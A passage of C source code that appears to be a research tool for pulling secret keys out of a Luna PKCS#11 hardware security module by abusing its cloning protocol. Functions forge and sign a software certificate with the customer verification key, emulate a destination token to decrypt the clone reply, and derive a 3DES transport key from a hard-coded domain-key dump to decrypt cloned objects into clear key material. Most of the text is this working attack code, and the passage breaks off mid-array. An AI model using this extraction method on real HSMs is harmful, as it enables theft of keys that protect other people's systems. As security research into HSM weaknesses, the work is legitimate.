	//---------------- build the software cert in the correct format --------------

	
	val=1;
	memcpy(software_cert+0x0,&val,4);		//	DWORD fld_0x0_flag;
	memcpy(software_cert+0x4,&val,4);		//DWORD fld_0x4_flag;
	val=TARGET_SERIAL;
	memcpy(software_cert+0x8,&val,4);		//DWORD fld_0x8_serialno;
	val=1;
	memcpy(software_cert+0xC,&val,4);		//DWORD fld_0xC_flag;
	val=0x80;
	memcpy(software_cert+0x10,&val,4);				//DWORD fld_0x10_len_modulus;
	val=1;
	memcpy(software_cert+0x14,&val,4);				//DWORD fld_0x14_len_exponent;
	memcpy(software_cert+0x18,modulus,0x80);		//UCHAR  fld_0x18_modulus[128];
	b=0x3;
	memcpy(software_cert+0x98,&b,1);				//UCHAR  fld_0x98_exponent;
	val=0x1;  // --- cert type 0x1 - CVK verified
	memcpy(software_cert+0x99,&val,4);				//DWORD fld_0x99_cert_type;
	
	//-------------------------------- now sign the cert -------------------------

	// RELOG AS SECURITY OFFICER IF NECESSARY

	if( global_login_mode == CKU_USER )
		{
		// do the relogging
		CK_RV r;

		printf("RELOGGING AS SO TO GET ACCESS TO CVK");

		//---------------------------- logout on source slot ------------------------

		r=PROC_C_Logout(session);

		if( r != CKR_OK )
			error_exit("failed to logout on source session.\n");

		logged_in=FALSE;
		//---------------------------- close session on source slot ------------------------

		r=PROC_C_CloseSession(session);

		if( r != CKR_OK )
			error_exit("failed to close source session.\n");

		//---------------------------- open session on source slot ------------------------

		r=PROC_C_OpenSession(1,(CKF_RW_SESSION | CKF_SERIAL_SESSION),NULL,NULL,&session);

		if( r != CKR_OK )
			error_exit("failed to open source session.\n");

		//printf("SOURCE Session Opened. (ID = %d)\n",session);
		
		//------------------------------- login on source slot ------------------------------
		
		printf("\nLogging on to source token as SO... ");
		r=PROC_C_Login(session, CKU_SO , NULL , 0 );

		if( r != CKR_OK )
			error_exit("\n\nfailed to log in to source as SO\n");
					
		logged_in=TRUE;
		printf("done\n");
		
		}

	get_cvk_handle(&cvk_signer_handle);

	if( cvk_signer_handle == 0 )
		{
		printf("\nCould not find CVK private key on token.\n"
			   "You probably need to run cricket -prepare\n"
			   "to set the customer verification key");
		if( logged_in == TRUE )
			{	
			end_pkcs_session();
			error_exit("Finding CVK private key failed.\n");
			}
		}

	//CK_MECHANISM mech_digest = { CKM_SHA1 , NULL , 0 };

	//CK_BYTE sha1_objectID[]={ 0x30 , 0x21 , 0x30 , 0x9 , 0x6 , 0x5 , 0x2B , 0xE , 0x3 , 0x2 , 0x1A , 0x5 };


	r=PROC_C_SignInit(session,&mech_sign,cvk_signer_handle);

	if (r != CKR_OK) 
		{ 
		printf("C_SignInit() failed - code 0x%x\n", r); 
		error_exit("SignInit failed.\n");
		} 	

	//CK_BYTE *thing_to_sign=(CK_BYTE *)malloc(4096);
	//CK_BYTE *hash=(CK_BYTE *)malloc(4096);
		
	//memcpy(thing_to_sign,sha1_objectID,0xF);
	//memcpy(thing_to_sign+0xF,hash,0x14);


	r=PROC_C_Sign(session,software_cert,0x18+0x80+0x1,signed_cert,&len_signed_cert);

	if (r != CKR_OK) 
		{ 
		printf("C_Sign() failed - code 0x%x\n", r); 
		error_exit("Sign failed.\n");
		} 	
	
	// RELOG BACK AS USER IF NECESSARY
	if( global_login_mode == CKU_USER )
		{
		// do the relogging
		CK_RV r;

		printf("RELOGGING AS USER TO RETURN TO NORMAL");

		//---------------------------- logout on source slot ------------------------

		r=PROC_C_Logout(session);

		if( r != CKR_OK )
			error_exit("failed to logout on source session.\n");

		logged_in=FALSE;
		//---------------------------- close session on source slot ------------------------

		r=PROC_C_CloseSession(session);

		if( r != CKR_OK )
			error_exit("failed to close source session.\n");

		//---------------------------- open session on source slot ------------------------

		r=PROC_C_OpenSession(1,(CKF_RW_SESSION | CKF_SERIAL_SESSION),NULL,NULL,&session);

		if( r != CKR_OK )
			error_exit("failed to open source session.\n");

		//printf("SOURCE Session Opened. (ID = %d)\n",session);
		
		//------------------------------- login on source slot ------------------------------
		
		printf("\nLogging on to source token as USER... ");
		r=PROC_C_Login(session, CKU_USER , NULL , 0 );

		if( r != CKR_OK )
			error_exit("\n\nfailed to log in to source as SO\n");
					
		logged_in=TRUE;
		printf("done\n");				
		}

	//printf("len_signed_cert = %d\n",len_signed_cert);

	//-------------------------- now adjust the cert to include the signature --------------

	val=0x80;
	memcpy(software_cert+0x9D,&val,4);				//DWORD fld_0x9D_len_sig;
	memcpy(software_cert+0xA1,signed_cert,0x80);		//UCHAR fld_0xA1_sig[128];
	val=0;
	memcpy(software_cert+0x121,&val,3);			//UCHAR  fld_0x121_zeroes[3];
		
	// copy out result
	memcpy(message,software_cert,0x124);
	*message_len=0x124;
	}

//-----------------------------------------------------------------------------------------------
//---------------------------------- get_cvk_handle ---------------------------------------------
//-----------------------------------------------------------------------------------------------

void get_cvk_handle(DWORD *handle)
	{
	// this command retrieves a handle to the CVK private key whose public half
	// is uploaded into the CVK slot during a cricket -prepare call. it uses the
	// hardwired ID of the CVK key to find the key.

	CK_RV r;

	//------------------------------ find the CVK signing key ------------------------

	DWORD object_count=0;
	DWORD *object_list=(DWORD *)malloc(MAX_OBJECTS*sizeof(DWORD));

	CK_BYTE find_id[]= { ID_CVK_KEY };
	CK_ATTRIBUTE obj_template[] = { {CKA_ID,find_id,sizeof(find_id)} };

	r=PROC_C_FindObjectsInit(session,obj_template,1);

	if( r != CKR_OK )
		error_exit("C_FindObjectsInit failed.\n");

	r=PROC_C_FindObjects(session, object_list , (DWORD)MAX_OBJECTS , &object_count );

	if( r != CKR_OK )
		error_exit("C_FindObjects failed.\n");

	r=PROC_C_FindObjectsFinal(session);

	if( r != CKR_OK )
		error_exit("C_FindObjectsFinal failed.\n");

	//printf("Object count = %d\n",object_count);
	//printf("first object handle = %d\n",object_list[0]);

	if( object_count == 1 )		
		*handle=object_list[0];				
	else
		*handle=0;

	return;
	}

//-----------------------------------------------------------------------------------------------
//--------------------------------- decrypt_clone_object ----------------------------------------
//-----------------------------------------------------------------------------------------------

int decrypt_clone_object(UCHAR *clear_object,DWORD *clear_len,UCHAR* clear_cln_rep,UCHAR *encrypted_object,DWORD encrypted_len,DWORD source_serial)
	{
	// this function is the top-level call made by the decryption program. you supply the encrypted_object
	// that the extraction command (or program) produced, along with the clear_cln_rep -- the clear clone
	// reply that contains the source nonce, and it performs the decryption of the object. the clear key
	// material and access control information results in martialled form in 'clear_object'.

	CK_MECHANISM decrypt_mech = { CKM_RSA_PKCS , NULL , 0 };

	CK_BYTE transport_key[0x18];
	CK_BYTE kcv_raw[128];
	
 	CK_BYTE cloning_IV[] = { 0xF0 , 0x1E , 0x18 , 0x19 , 0x24 , 0x30 , 0x38 , 0xF };
		
	//-------------------------------- do the rest -----------------------------

	get_datakey(kcv_raw);	

	make_transport_key(transport_key,kcv_raw,clear_cln_rep,source_serial);

	CRYPTO_decrypt_3DES_CBC(clear_object,encrypted_object,encrypted_len,transport_key,cloning_IV);
	*clear_len=encrypted_len;

	return SUCCESS;
	}

//-----------------------------------------------------------------------------------------------
//--------------------------------- decrypt_clone_reply -----------------------------------------
//-----------------------------------------------------------------------------------------------

int decrypt_clone_reply(UCHAR *clear_reply,UCHAR* encrypted_reply)
	{
	// this function is internal to the extract_clone_object implementation. it
	// uses the temporarily created private key of the emulated destination token
	// to decrypt the LUNA_KEY_CLN_REP (reply) message that contains the source
	// nonce. the reply is left in 'clear_reply'

	CK_RV r;	
	DWORD len_rep;
	
	CK_MECHANISM decrypt_mech = { CKM_RSA_PKCS , NULL , 0 };
	
	//--------------------------------- decrypt LUNA_KEY_CLN_REP ------------------------
	
	len_rep=100;
	
	r=PROC_C_DecryptInit(session,&decrypt_mech,privkey_decryptor_handle);

	if( r != CKR_OK )
		{
		printf("error initialising decrypt\n");
		error_exit("Decrypt init failed.\n");
		}

	r=PROC_C_Decrypt(session,encrypted_reply,0x80,clear_reply,&len_rep);

	if( r != CKR_OK )
		{
		printf("error decrypting\n");
		error_exit("Decrypting failed.\n");
		}

	r=PROC_C_DestroyObject(session,privkey_decryptor_handle);

	if( r != CKR_OK )
		{
		printf("error destroying object\n");
		error_exit("Destroying object failed.\n");
		}

	return SUCCESS;
	}


//-----------------------------------------------------------------------------------------------
//---------------------------------- get_datakey ------------------------------------------------
//-----------------------------------------------------------------------------------------------

void get_datakey(UCHAR *data)
	{
	// this function should copy the entire data block of 128 bytes stored
	// on a datakey to the address pointed to by 'data', which is allocated
	// by the calling function

	// in this example code, a single domain key has been hard-coded
	// into the function

	int q;
	
	//------------------------------- process raw kcv ------------------------
	
	UCHAR kcv_raw[128];
	CK_BYTE kcv_very_raw[] = { 
		/*
dump from datakey reader

0000: 00 01 00 00 00 00 02 01 B8 D8 BC 3D 00 6E 01 02
0010: 00 00 DE 1D 9A 0E 46 55 53 A1 BB EB 50 EB 11 92
0020: 93 75 B9 32 2D 5F 3E 39 5E DB 01 9C 47 33 80 16
0030: 10 73 69 A0 73 BC 9F 07 9F 95 1C D7 99 B9 A1 3B
0040: 9F 61 18 D0 0E 6A E4 FE 53 42 F2 D7 39 C6 D6 BE
0050: F2 81 EE D3 CE 7D 40 23 56 BA 5B 3A 3C 83 15 84
0060: 44 C7 48 1D 0F 4E B2 42 42 36 94 E8 B6 B9 58 01
0070: 38 0A 10 A6 12 8B FF F5 40 97 7D 53 1B 71 62 41*/

0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x02, 0x01, 0xB8, 0xD8, 0xBC, 0x3D, 0x00, 0x6E, 0x01, 0x02,
0x00, 0x00, 0xDE, 0x1D, 0x9A, 0x0E, 0x46, 0x55, 0x53, 0xA1, 0xBB, 0xEB, 0x50, 0xEB, 0x11, 0x92,
0x93, 0x75, 0xB9, 0x32, 0x2D, 0x5F, 0x3E, 0x39, 0x5E, 0xDB, 0x01, 0x9C, 0x47, 0x33, 0x80, 0x16,
0x10, 0x73, 0x69, 0xA0, 0x73, 0xBC, 0x9F, 0x07, 0x9F, 0x95, 0x1C, 0xD7, 0x99, 0xB9, 0xA1, 0x3B,
0x9F, 0x61, 0x18, 0xD0, 0x0E, 0x6A, 0xE4, 0xFE, 0x53, 0x42, 0xF2, 0xD7, 0x39, 0xC6, 0xD6, 0xBE,
0xF2, 0x81, 0xEE, 0xD3, 0xCE, 0x7D, 0x40, 0x23, 0x56, 0xBA, 0x5B, 0x3A, 0x3C, 0x83, 0x15, 0x84,
0x44, 0xC7, 0x48, 0x1D, 0x0F, 0x4E, 0xB2, 0x42, 0x42, 0x36, 0x94, 0xE8, 0xB6, 0xB9, 0x58, 0x01,
0x38, 0x0A, 0x10, 0xA6, 0x12, 0x8B, 0xFF, 0xF5, 0x40, 0x97, 0x7D, 0x53, 0x1B, 0x71, 0x62, 0x41

		};

	// compensate for datakey reader half-word endian

	for(q=18;q<sizeof(kcv_very_raw);q+=2)
		{
		kcv_raw[q-18]	 = kcv_very_raw[q+1];
		kcv_raw[q+1-18] = kcv_very_raw[q];
		}

	memcpy(data,kcv_raw,128);
	}

//-----------------------------------------------------------------------------------------------
//------------------------------------- list_all ------------------------------------------------
//-----------------------------------------------------------------------------------------------

void list_all(void)
	{
		DWORD object_list[MAX_OBJECTS];
		DWORD object_count=0;
		UCHAR subject[MAX_STRING];
		UCHAR label[MAX_STRING];
		UCHAR *keystring=NULL;
		DWORD i;
		DWORD keytype;

		
		initialise_all();
		
		list_objects(object_list,&object_count);

		printf("Object count = %d\n",object_count);

		printf("-----------------------------------------------------------------\n"
		       "Handle  Type            Subject                 Label\n"
			   "-----------------------------------------------------------------\n\n");

		for(i=0;i<object_count;i++)
			{			
			CK_ATTRIBUTE subtemplate[] = {
			{ CKA_SUBJECT  , subject , sizeof(subject) } ,
			{ CKA_KEY_TYPE , &keytype , sizeof(keytype) } ,
			{ CKA_LABEL , &label , sizeof(label) }
									};
			DWORD subtemplate_count=3;
	
			memset(subject,'\0',sizeof(subject));
			//strcpy(subject,"subj_unknown.\0");
			memset(label,'\0',sizeof(label));
			//strcpy(subject,"label_unknown.\0");
			
			PROC_C_GetAttributeValue(session,*(object_list+i),subtemplate,subtemplate_count);

			keystring="UNKNOWN";

			if( keytype == CKK_RSA )
				keystring="RSA     ";
			if( keytype == CKK_DSA )
				keystring="DSA     ";
			if( keytype == CKK_DH )
				keystring="DH      ";
			if( keytype == CKK_ECDSA )
				keystring="ECDSA   ";
			if( keytype == CKK_KEA )
				keystring="KEA     ";
			if( keytype == CKK_GENERIC_SECRET )
				keystring="GENERIC ";
			if( keytype == CKK_RC2 )
				keystring="RC2     ";
			if( keytype == CKK_RC4 )
				keystring="RC4     ";
			if( keytype == CKK_DES )
				keystring="DES     ";
			if( keytype == CKK_DES2 )
				keystring="DES2    ";
			if( keytype == CKK_DES3 )
				keystring="DES3    ";
			if( keytype == CKK_CAST )
				keystring="CAST    ";
			if( keytype == CKK_CAST3 )
				keystring="CAST3   ";
			if( keytype == CKK_CAST5 )
				keystring="CAST5   ";
			if( keytype == CKK_CAST128 )
				keystring="CAST128 ";
			if( keytype == CKK_RC5 )
				keystring="RC5";
			if( keytype == CKK_IDEA )
				keystring="IDEA    ";
			if( keytype == CKK_SKIPJACK )
				keystring="SKIPJACK";
			if( keytype == CKK_BATON )
				keystring="BATON   ";
			if( keytype == CKK_JUNIPER )
				keystring="JUNIPER ";
			if( keytype == CKK_CDMF )
				keystring="CDMF    ";

			printf("%d\t%s\t'%s'\t\t\t'%s'\n",*(object_list+i),keystring,subject,label);

			
			/*if( *(object_list+i) > 13 && *(object_list+i) < 480 )
				{
				CK_RV r;

				r=PROC_C_DestroyObject(session,*(object_list+i));

				if( r != CKR_OK )
					error_exit("error.\n");
				}*/


			if( (i > 0) && (i % 40 == 0) )
				getch();
			}

		printf("\nEND.\n");	

	}

//-----------------------------------------------------------------------------------------------
//------------------------------------- make_keys -----------------------------------------------
//-----------------------------------------------------------------------------------------------

void make_keys(void)
	{
	// this function makes some example keys to demonstrate the extraction
	// in clear facility

	CK_RV r;
	
	DWORD pub_handle;
	DWORD priv_handle;

	CK_BYTE *modulus=(CK_BYTE *)malloc(4096);
	DWORD modulus_len=4096;

	CK_MECHANISM mechanism = { CKM_RSA_PKCS_KEY_PAIR_GEN , NULL_PTR , 0 };

	//--------------------------------------- RSA 512 bits ---------------------------------

		{
		CK_ULONG modulusBits = 512;
		CK_BYTE publicExponent[] = { 0x3 };
		CK_BYTE id[] = { 0x1 };
		CK_BYTE subject[] = { 'R' , 'S' , 'A' , '_' , '5' , '1' , '2' };
		CK_BBOOL cktrue = TRUE;
		CK_BBOOL ckfalse = FALSE;

		CK_ATTRIBUTE publicKeyTemplate[] =
			{
				{CKA_ENCRYPT,			&cktrue,		sizeof(cktrue)},
				{CKA_VERIFY,			&cktrue,		sizeof(cktrue)},
				{CKA_WRAP,				&cktrue,		sizeof(cktrue)},
				{CKA_MODULUS_BITS,		&modulusBits,	sizeof(modulusBits)},
				{CKA_PUBLIC_EXPONENT,	publicExponent,	sizeof(publicExponent)},
				//{CKA_EXTRACTABLE,		&cktrue,		sizeof(cktrue)},
				//{CKA_SENSITIVE,			&ckfalse,		sizeof(ckfalse)}		
			};

		CK_ATTRIBUTE privateKeyTemplate[] =
			{
				{CKA_TOKEN,				&cktrue,		sizeof(cktrue)},
				{CKA_PRIVATE,			&cktrue,		sizeof(cktrue)},
				{CKA_SUBJECT,			&subject,		sizeof(subject)},
				{CKA_ID,				id,				sizeof(id)},
				{CKA_SENSITIVE,			&cktrue,		sizeof(cktrue)},
				{CKA_DECRYPT,			&cktrue,		sizeof(cktrue)},
				{CKA_SIGN,				&cktrue,		sizeof(cktrue)},
				{CKA_UNWRAP,			&cktrue,		sizeof(cktrue)},
				{CKA_EXTRACTABLE,		&cktrue,		sizeof(cktrue)}
			};


		CK_ATTRIBUTE attrTemplate[] =
			{
				{CKA_MODULUS,			modulus,		modulus_len}
			};
		
		CK_KEY_TYPE keyType = CKK_RSA;
		CK_OBJECT_CLASS tclass = CKO_PUBLIC_KEY;
		CK_BYTE exponent[] = { 0x3 };

		CK_ATTRIBUTE pktemp[] = 
			{
				//{CKA_CLASS,	&tclass,	sizeof(tclass)},
				{CKA_KEY_TYPE,		&keyType,	sizeof(keyType)},
				{CKA_MODULUS,		modulus,	0x80},
				{CKA_PUBLIC_EXPONENT,		exponent,	sizeof(exponent)}
			};
		
		r=PROC_C_GenerateKeyPair(session,&mechanism,publicKeyTemplate,5,privateKeyTemplate,9,&pub_handle,&priv_handle);

		if (r != CKR_OK) 
			error_exit("C_GenerateKeyPair() failed\n"); 
		}
	
	//----------------------------------------- RSA 1024 bits --------------------------------------

		{
		CK_ULONG modulusBits = 1024;
		CK_BYTE publicExponent[] = { 0x3 };
		CK_BYTE id[] = { 0x2 };
		CK_BYTE subject[] = { 'R' , 'S' , 'A' , '_' , '1' , '0' , '2' , '4' };
		CK_BBOOL cktrue = TRUE;
		CK_BBOOL ckfalse = FALSE;

		CK_ATTRIBUTE publicKeyTemplate[] =
			{
				{CKA_ENCRYPT,			&cktrue,		sizeof(cktrue)},
				{CKA_VERIFY,			&cktrue,		sizeof(cktrue)},
				{CKA_WRAP,				&cktrue,		sizeof(cktrue)},
				{CKA_MODULUS_BITS,		&modulusBits,	sizeof(modulusBits)},
				{CKA_PUBLIC_EXPONENT,	publicExponent,	sizeof(publicExponent)},
				//{CKA_EXTRACTABLE,		&cktrue,		sizeof(cktrue)},
				//{CKA_SENSITIVE,			&ckfalse,		sizeof(ckfalse)}		
			};

		CK_ATTRIBUTE privateKeyTemplate[] =
			{
				{CKA_TOKEN,				&cktrue,		sizeof(cktrue)},
				{CKA_PRIVATE,			&cktrue,		sizeof(cktrue)},
				{CKA_SUBJECT,			&subject,		sizeof(subject)},
				{CKA_ID,				id,				sizeof(id)},
				{CKA_SENSITIVE,			&cktrue,		sizeof(cktrue)},
				{CKA_DECRYPT,			&cktrue,		sizeof(cktrue)},
				{CKA_SIGN,				&cktrue,		sizeof(cktrue)},
				{CKA_UNWRAP,			&cktrue,		sizeof(cktrue)},
				{CKA_EXTRACTABLE,		&cktrue,		sizeof(cktrue)}
			};


		CK_ATTRIBUTE attrTemplate[] =
			{
				{CKA_MODULUS,			modulus,		modulus_len}
			};
		
		CK_KEY_TYPE keyType = CKK_RSA;
		CK_OBJECT_CLASS tclass = CKO_PUBLIC_KEY;
		CK_BYTE exponent[] = { 0x3 };

		CK_ATTRIBUTE pktemp[] = 
			{
				//{CKA_CLASS,	&tclass,	sizeof(tclass)},
				{CKA_KEY_TYPE,		&keyType,	sizeof(keyType)},
				{CKA_MODULUS,		modulus,	0x80},
				{CKA_PUBLIC_EXPONENT,		exponent,	sizeof(exponent)}
			};
		
		r=PROC_C_GenerateKeyPair(session,&mechanism,publicKeyTemplate,5,privateKeyTemplate,9,&pub_handle,&priv_handle);

		if (r != CKR_OK) 
			error_exit("C_GenerateKeyPair() failed - code\n"); 
		}

		//-------------------------------- RSA funny exponent ----------------------
		{
		CK_ULONG modulusBits = 384;
		CK_BYTE publicExponent[] = { 0x3 };
		CK_BYTE id[] = { 0x3 };
		CK_BYTE subject[] = { 'R' , 'S' , 'A' , '_' , '3' , '8' , '4' };
		CK_BBOOL cktrue = TRUE;
		CK_BBOOL ckfalse = FALSE;

		CK_ATTRIBUTE publicKeyTemplate[] =
			{
				{CKA_ENCRYPT,			&cktrue,		sizeof(cktrue)},
				{CKA_VERIFY,			&cktrue,		sizeof(cktrue)},
				{CKA_WRAP,				&cktrue,		sizeof(cktrue)},
				{CKA_MODULUS_BITS,		&modulusBits,	sizeof(modulusBits)},
				{CKA_PUBLIC_EXPONENT,	publicExponent,	sizeof(publicExponent)},
				//{CKA_EXTRACTABLE,		&cktrue,		sizeof(cktrue)},
				//{CKA_SENSITIVE,			&ckfalse,		sizeof(ckfalse)}		
			};

		CK_ATTRIBUTE privateKeyTemplate[] =
			{
				{CKA_TOKEN,				&cktrue,		sizeof(cktrue)},
				{CKA_PRIVATE,			&cktrue,		sizeof(cktrue)},
				{CKA_SUBJECT,			&subject,		sizeof(subject)},
				{CKA_ID,				id,				sizeof(id)},
				{CKA_SENSITIVE,			&cktrue,		sizeof(cktrue)},
				{CKA_DECRYPT,			&cktrue,		sizeof(cktrue)},
				{CKA_SIGN,				&cktrue,		sizeof(cktrue)},
				{CKA_UNWRAP,			&cktrue,		sizeof(cktrue)},
				{CKA_EXTRACTABLE,		&cktrue,		sizeof(cktrue)}
			};


		CK_ATTRIBUTE attrTemplate[] =
			{
				{CKA_MODULUS,			modulus,		modulus_len}
			};
		
		CK_KEY_TYPE keyType = CKK_RSA;
		CK_OBJECT_CLASS tclass = CKO_PUBLIC_KEY;
		CK_BYTE exponent[] = { 0x3 };

		CK_ATTRIBUTE pktemp[] = 
			{
				//{CKA_CLASS,	&tclass,	sizeof(tclass)},
				{CKA_KEY_TYPE,		&keyType,	sizeof(keyType)},
				{CKA_MODULUS,		modulus,	0x80},
				{CKA_PUBLIC_EXPONENT,		exponent,	sizeof(exponent)}
			};
		
		r=PROC_C_GenerateKeyPair(session,&mechanism,publicKeyTemplate,5,privateKeyTemplate,9,&pub_handle,&priv_handle);

		if (r != CKR_OK) 
			error_exit("C_GenerateKeyPair() failed - code\n"); 
		}
	}

// ################################################################################################ //
// ************************************************************************************************ //
// ************************* Decryption Crypto Abstraction Layer ********************************** //
// ************************************************************************************************ //
// ################################################################################################ //

//-----------------------------------------------------------------------------------------------
//----------------------------- CRYPTO_decrypt_3DES_CBC ---------------------------------------------
//-----------------------------------------------------------------------------------------------

void CRYPTO_decrypt_3DES_CBC(UCHAR *dest,UCHAR *source,DWORD len, UCHAR *key, UCHAR *iv)
	{
	// this function performs 3key 3DES CBC decryption of the data pointed to by 'source'
	// 'len' is the len of the source in bytes, and must conform to the 8 byte block boundaries
	// the result of decryption is placed at 'dest'. An 8 byte initial IV must be supplied
	// at 'iv', and a 3 key 3DES key in 'key'. The destination storage is allocated by the caller

	UCHAR current_iv[8];
	unsigned int i; //loop counter
	
	// set up the iv to the initial one
	memcpy(current_iv,iv,8);

	// load the chosen 3DES key into a PKCS#11 token
	set_3DES_key(key);
	
	// loop through the blocks, providing the previous ciphertext block
	// as the IV for the next decryption (a la CBC)

	for(i=0;i<len;i+=8)
		{
		decrypt_3DES_block(dest+i,source+i,current_iv);

		memcpy(current_iv,source+i,8);	// set current ciphertext block as IV for next block
		}

	// destroy the 3DES key on the PKCS#11 token
	clear_3DES_key();

	//dump_data(dest,len);	
	}

//-----------------------------------------------------------------------------------------------
//--------------------------------- CRYPTO_SHA1 -------------------------------------------------
//-----------------------------------------------------------------------------------------------

void CRYPTO_SHA1(UCHAR *dest,UCHAR *source, DWORD source_len)
	{
	// this function performs an SHA1 hash of the data pointed to by
	// 'source', with length 'source_len'. The resulting hash
	// is placed in 'dest', and must be 0x14 bytes long.
	// the destination storage is allocated by the caller.

	CK_MECHANISM digest_sha1= { CKM_SHA_1 , NULL , 0 };
	CK_RV r;
	DWORD len_hash=0x14;

	r=PROC_C_DigestInit(session,&digest_sha1);

	if( r != CKR_OK )
		error_exit("error initialising digest\n");
		
	r=PROC_C_Digest(session,source,source_len,dest,&len_hash);

	if( r != CKR_OK || len_hash != 0x14 )
		error_exit("error hashing\n");
		
	}

//-----------------------------------------------------------------------------------------------
//---------------------------------- CRYPTO_MD5 -------------------------------------------------
//-----------------------------------------------------------------------------------------------

void CRYPTO_MD5(UCHAR *dest,UCHAR *source, DWORD source_len)
	{
	// this function performs an MD5 hash of the data pointed to by
	// 'source', with length 'source_len'. The resulting hash
	// is placed in 'dest', and must be 0x10 bytes long.
	// the destination storage is allocated by the caller.

	CK_RV r;
	CK_MECHANISM digest_md5={ CKM_MD5 , NULL , 0 };
	DWORD len_hash=0x10;

	r=PROC_C_DigestInit(session,&digest_md5);

	if( r != CKR_OK )
		error_exit("error initialising digest\n");
				
	r=PROC_C_Digest(session,source,source_len,dest,&len_hash);

	if( r != CKR_OK || len_hash != 0x10 )
		error_exit("error hashing\n");
		
	}

//-----------------------------------------------------------------------------------------------
//--------------------------- decrypt_3DES_block ------------------------------------------------
//-----------------------------------------------------------------------------------------------

void decrypt_3DES_block(UCHAR *dest,UCHAR *source,UCHAR *iv)
	{
	// this function is internal to the CRYPTO abstraction layer
	// it performs a single block decryption using the currently
	// set key, with the IV 'iv'.

	CK_RV r;
	CK_MECHANISM app_decrypt_mech = { CKM_DES3_CBC , iv , 0x8 };
	DWORD local_len;

	r=PROC_C_DecryptInit(session,&app_decrypt_mech,des_key_handle);

	if( r != CKR_OK )
		{
		printf("error initialising  decrypt\n");
		error_exit("initialising decrypt failed.\n");
		}

	r=PROC_C_Decrypt(session,source,8,dest,&local_len);

	if( r != CKR_OK )
		{
		printf("error decrypting data\n");
		error_exit("decrypting failed.\n");
		}

	}

//-----------------------------------------------------------------------------------------------
//--------------------------------- set_3DES_key ------------------------------------------------
//-----------------------------------------------------------------------------------------------

void set_3DES_key(UCHAR *key)
	{	
	// this function is internal to the CRYPTO abstraction layer
	// it sets up 3 key 3DES key for decryption with a chosen value. the
	// key value is pointed to by 'key' is loaded into a PKCS#11 token.
	// this is a bit tricky because of the questionable design rules of
	// some PCKS#11 tokens.

	CK_RV r;	
	DWORD wrap_key;

	CK_BYTE *wrapped_key=(CK_BYTE *)malloc(4096);
	DWORD wrapped_key_len=4096;

	CK_MECHANISM genmech = { CKM_DES_KEY_GEN , NULL , 0 };

	CK_OBJECT_CLASS keyClass = CKO_SECRET_KEY;
	CK_KEY_TYPE keyType = CKK_DES;
	CK_BBOOL cktrue = TRUE;

	CK_ATTRIBUTE wrapkey_template[] =
		{
			{CKA_CLASS,			&keyClass,		sizeof(keyClass)},
			{CKA_KEY_TYPE,		&keyType,		sizeof(keyType)},
			{CKA_ENCRYPT,		&cktrue,		sizeof(cktrue)},
			{CKA_WRAP,			&cktrue,		sizeof(cktrue)},
			{CKA_UNWRAP,		&cktrue,		sizeof(cktrue)},
			{CKA_DECRYPT,		&cktrue,		sizeof(cktrue)}
		};

	CK_BYTE blank_iv[] = { 0x0 , 0x0 , 0x0 , 0x0 , 0x0 , 0x0 , 0x0 , 0x0 };

	CK_MECHANISM unwrap_mech = { CKM_DES_ECB , NULL , 0 };

	CK_KEY_TYPE des3key = CKK_DES3;

	CK_ATTRIBUTE unwrap_template[] =
		{
			{CKA_CLASS,			&keyClass,		sizeof(keyClass)},
			{CKA_KEY_TYPE,		&des3key,		sizeof(keyType)},
			{CKA_ENCRYPT,		&cktrue,		sizeof(cktrue)},
			{CKA_DECRYPT,		&cktrue,		sizeof(cktrue)}
		};

	//---------------------------- load a key as a key object -------------

	r=PROC_C_GenerateKey(session,&genmech,wrapkey_template,6,&wrap_key);

	if( r != CKR_OK )
		{
		printf("error creating wrapping key\n");
		error_exit("failed.\n");
		}

	
	r=PROC_C_EncryptInit(session,&unwrap_mech,wrap_key);

	if( r != CKR_OK )
		{
		printf("error initialising wrapping key for encryption\n");
		error_exit("failed.\n");
		}

	r=PROC_C_Encrypt(session,key,0x18,wrapped_key,&wrapped_key_len);

	if( r != CKR_OK )
		{
		printf("error encrypting transport key into wrapped key\n");
		error_exit("failed.\n");
		}
	
	r=PROC_C_UnwrapKey(session,&unwrap_mech,wrap_key,wrapped_key,wrapped_key_len,unwrap_template,4,&des_key_handle);

	if( r != CKR_OK )
		{
		printf("error unwrapping transport key\n");
		error_exit("failed.\n");
		}

	r=PROC_C_DestroyObject(session,wrap_key);

	if( r != CKR_OK )
		{
		printf("error destroying wrapping key\n");
		error_exit("failed.\n");
		}
	}

//-----------------------------------------------------------------------------------------------
//--------------------------------- clear_3DES_key ----------------------------------------------
//-----------------------------------------------------------------------------------------------

void clear_3DES_key(void)
	{
	// this function is internal to the CRYPTO abstraction layer
	// it destroys the 3DES key object made during set_key

	CK_RV r;

	r=PROC_C_DestroyObject(session,des_key_handle);

	if( r != CKR_OK )
		{
		printf("error destroying 3DES key\n");
		error_exit("failed.\n");
		}	
	}

// ################################################################################################ //
//************************************************************************************************* //
// ****************************** Undocumented Functions ****************************************** //
// ************************************************************************************************ //
// ################################################################################################ //

// these functions are classed as 'undocumented' because they interact with a partially
// reverse-engineered Lunacr0 device driver API, and the purpose and reasoning behind the
// design of many of the functions is not fully understoof by the author. There is therefore
// no point in documenting them, and they should not be touched or messed with

//-----------------------------------------------------------------------------------------------
//---------------------------------- make_key_cln_req -------------------------------------------
//-----------------------------------------------------------------------------------------------

void make_key_cln_req(UCHAR *encrypted_req,DWORD *encrypted_req_len,UCHAR *src_cert,DWORD src_cert_len)
	{
	// this function is undocumented

	CK_RV r;

	DWORD pk_handle;
	//DWORD msg_handle;

	UCHAR barking_modulus[]={
		0xC2, 0x0A, 0x72, 0xFC,		0x3E, 0x5A, 0x6E, 0xF0,			0xB5, 0x91, 0x5C, 0x81,			0x75, 0x31, 0x54, 0x60,
		0x86, 0x66, 0x08, 0x10,		0x57, 0x28, 0x47, 0xC0,			0x9B, 0xE4, 0x35, 0xA5,			0x44, 0xD3, 0xC5, 0x67,
		0x9D, 0xA9, 0xFF, 0xC9,		0x2B, 0x47, 0x07, 0xC6,			0x7D, 0x97, 0x47, 0x14,			0x99, 0xAF, 0xE7, 0x95,
		0x74, 0x91, 0xE4, 0x3F,		0xB5, 0x3B, 0xBB, 0xC7,			0x28, 0x9C, 0x26, 0x02,			0xD1, 0x07, 0x01, 0x64,
		0x5B, 0x8D, 0x24, 0x75,		0x4F, 0xED, 0x16, 0x2C,			0x3F, 0x88, 0x76, 0x28,			0xFC, 0x91, 0x04, 0xC3,
